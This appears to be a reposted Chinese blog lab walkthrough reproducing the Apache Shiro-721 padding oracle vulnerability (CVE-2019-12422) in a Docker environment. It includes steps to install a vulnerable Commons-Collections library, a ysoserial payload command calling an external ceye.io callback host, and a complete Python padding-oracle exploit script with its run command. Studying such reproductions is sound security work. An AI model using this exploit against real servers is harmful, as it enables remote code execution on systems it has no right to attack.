• shiro721复现


    转载至

    shiro721复现 - qianxinggz - 博客园 (cnblogs.com)

    转载文章也是参考https://github.com/inspiringz/Shiro-721

    目录

    前言#

    花费了2/3day的时间复现和了解这个漏洞,其挖掘的思路涉及到的密码学知识挺有意思的,叫做Padding Oracle Attack,可以在公开的exp中看到这个思路。但是该漏洞的利用却十分鸡肋,它的加密方式决定了我们发送的payload越长,爆破方式去加密payload的过程越长。不建议花费时间去研究利用,exp可以学学。

    一、环境搭建和知识储备#

    1.1、影响版本#

    Apache Shiro < 1.4.2 
    
    • 1

    CVE-2019-12422

    1.2、Docker搭建环境#

    1、获取DOCKFILE

    git clone https://github.com/3ndz/Shiro-721.git cd Shiro-721/Docker 
    
    • 1

    2、构建和运行DOCKFILE

    docker build -t shiro-721 . //不要忽略721后面的那个点,意为当前路径 docker run -p 8080:8080 -d shiro-721 
    
    • 1

    3、注意事项
    环境搭建主要采用了网上github存在的一个镜像,复现时遇到一些问题

    https://github.com/3ndz/Shiro-721

    这个docker镜像中存在的war包中的lib主要是Common-Collections3.2.2的,正好是漏洞修复了的版本,不存在可利用的cc链。因此我们要下载一个Common-Collections3.1放至生成的docker对应的tomcat目录下。

    docker cp /root/Common-Collections3.1.jar [dockerid]:/usr/local/tomcat/webapps/ROOT/WEB-INF/lib/Common-Collections3.1.jar 
    
    • 1

    同时还要删除原来的Common-Collections3.2.2版本的jar包防止干扰

    1.3、漏洞原理#

    漏洞原理没有做深入探究,看了两篇文章做了一个了解。如下

    浅析Shiro Padding Oracle Attack
    Padding oracle attack详细解析
    根本原理就是shiro中cookie的cookiememeMe已通过AES-128-CBC模式加密,这很容易受到填充oracle攻击的影响。攻击者可以使用有效的RememberMe cookie作为Padding Oracle Attack 的前缀,然后制作精心制作的RememberMe来执行Java反序列化攻击。

    二、复现过程#

    1、整体思路#

    访问登录页面,登录
    请求account页面,只需要抓包时能获取到rememberMe=xxx都可
    利用exp爆破payload的加密密文
    获取密文后对之前请求的页面以rememberMe=xxx的格式重放
    获取到命令执行结果

    2、具体流程#

    1、勾选Remermber Me,登录shiro认证后的页面

    2、登录后点击account页,抓包获取rememberMe对应的cookie值

    3、使用ysoserial生成payload,前提是环境中存在可利用的链
    这里命令用双引号括起来,暂时还没有深入研究ysoserial,用单引号存在问题

    java -jar ysoserial-master-8eb5cbfbf6-1.jar CommonsBeanutils1 "xxx.ceye.io" > payload.class
    
    • 1

    4、利用公开exp使用Padding Oracle方式爆破payload的密文

    #https://github.com/3ndz/Shiro-721
    # -*- coding: utf-8 -*-
    from paddingoracle import BadPaddingException, PaddingOracle
    from base64 import b64encode, b64decode
    from urllib import quote, unquote
    import requests
    import socket
    import time
    
    class PadBuster(PaddingOracle):
        def __init__(self, **kwargs):
            super(PadBuster, self).__init__(**kwargs)
            self.session = requests.Session()
            self.wait = kwargs.get('wait', 2.0)
    
        def oracle(self, data, **kwargs):
            somecookie = b64encode(b64decode(unquote(sys.argv[2])) + data)
            self.session.cookies['rememberMe'] = somecookie
            if self.session.cookies.get('JSESSIONID'):
                del self.session.cookies['JSESSIONID']
            while 1:
                try:
                    response = self.session.get(sys.argv[1],
                            stream=False, timeout=5, verify=False)
                    break
                except (socket.error, requests.exceptions.RequestException):
                    logging.exception('Retrying request in %.2f seconds...',
                                      self.wait)
                    time.sleep(self.wait)
                    continue
    
            self.history.append(response)
            if response.headers.get('Set-Cookie') is None or 'deleteMe' not in response.headers.get('Set-Cookie'):
                logging.debug('No padding exception raised on %r', somecookie)
                return
            raise BadPaddingException
    
    
    if __name__ == '__main__':
        import logging
        import sys
    
        if not sys.argv[3:]:
            print 'Usage: %s   ' % (sys.argv[0], )
            sys.exit(1)
    
        logging.basicConfig(level=logging.DEBUG)
        encrypted_cookie = b64decode(unquote(sys.argv[2]))
        padbuster = PadBuster()
        payload = open(sys.argv[3], 'rb').read()
        enc = padbuster.encrypt(plaintext=payload, block_size=16)
        print('rememberMe cookies:')
        print(b64encode(enc))
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53

    5、使用以下命令执行脚本,地址为登录后的需要提交cookie的页面

    python shiro_exp.py http://192.168.164.152:8080/account [rememberMeCookie] payload.class 
    
    • 1

    6、经过漫长的等待(起码3个小时不间断的请求),获取到了最终爆破出来的经过加密的payload,我们将这个payload加上rememberMe在之前的页面重放

    7、最终在docker里的/tmp目录创建了文件

    三、工具利用#

    使用ShiroExploit.jar#

    没有验证过,因为时间太长,不适用于实际环境的测试。会把环境打崩或者ip被ban

  • 相关阅读:
    CY8C42(1.PSoC4 Pioneer Kit开箱及基本使用)
    【SQL】MySQL 的乐观锁和悲观锁
    MySQL-数据库表的创建/管理(CREATE/ALTER/DROP/AS/CHANGE/ADD/MODIFY/TRUNCATE/DELETE)
    java计算机毕业设计ssm企业日常事务管理系统sl5xl(附源码、数据库)
    在Windows10、Windows11系统下安装Docker
    Springboot项目中加载Groovy脚本并调用其内部方代码实现
    C#.NET 国密SM2 加密解密 与JAVA互通 ver:20230805
    Vue.use()和install的小知识
    Nginx的核心配置文件
    【Docker】Docker最近这么火,它到底是什么
  • 原文地址:https://blog.csdn.net/web15286201346/article/details/126496218